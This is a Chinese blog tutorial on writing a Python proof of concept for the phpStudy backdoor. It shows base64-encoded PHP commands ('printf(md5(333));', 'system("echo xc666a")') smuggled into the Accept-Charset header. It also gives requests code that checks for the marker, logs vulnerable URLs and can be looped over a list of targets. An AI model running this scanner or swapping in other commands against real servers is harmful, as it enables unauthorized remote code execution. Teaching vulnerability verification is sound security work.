Pyhacker 之 漏洞POC编写

00x1:

需要用到的模块如下:

import requests

import base64

00x2:

首先,既然是漏洞poc编写,那么我们肯定要有poc

当然直接exp利用也可以

每当爆出新的漏洞,就会有专业大佬进行分析,发出poc,我们直接利用即可

第一个例子,拿phpstudy后门为例

先了解一下base64模块

00x3:

接下来,你需要去了解一下这个后门,网上有很多分析文

Accept-Encoding:gzip,deflate

Accept-Charset:cHJpbnRmKG1kNSgzMzMpKTs=

了解base64你就可以写一个交互式的Exp

为了确定漏洞准确度,我们可以直接执行输出一个特定字符

cHJpbnRmKG1kNSgzMzMpKTs=

解码得:printf(md5(333));

这样,网页只有这个md5才会确定存在漏洞,准确度极高

这里仅已验证漏洞为例c3lzdGVtKCJlY2hvIHhjNjY2YSIpOw==

直接写入了base64验证poc,就不演示交互式的利用了
也是同理,
核心代码如下:

headers = {
            'User-Agent': 'Mozilla/5.0 (Windows NT 10.0; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/65.0.3314.0 Safari/537.36 SE 2.X MetaSr 1.0',
            'Accept': 'text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,image/apng,*/*;q=0.8',
            'Accept-Encoding':'gzip,deflate',
            'Accept-Charset':'c3lzdGVtKCJlY2hvIHhjNjY2YSIpOw==',
            'Accept-Language':'zh-CN,zh;q=0.9',
            'Connection':'close',
            }

主要就是Accept-Charset请求头,接着去写一个请求

r = requests.get(url=url, headers=headers,timeout=5)
if 'xc666' in r.text:
    print u'over success:',url
else:
    print u'flase:',url

加上结果自动保存:

with open('success.txt','a+') as f:
    f.write(url+"\n")

00x4:

批量检测:

只需要修改最后一行,打开文件遍历url即可,前面讲了,这里就不再多说了


00x5:

完整代码:https://github.com/hackxc/Pyhacker/

本博客所有文章如无特别注明均为原创。作者:小陈复制或转载请以超链接形式注明转自 小陈's Blog - 致力关注于黑客技术、渗透测试、网络信息安全
原文地址《Pyhacker 之 漏洞POC编写
分享到:更多

相关推荐

发表评论

路人甲 表情
看不清楚?点图切换 Ctrl+Enter快速提交

网友评论(0)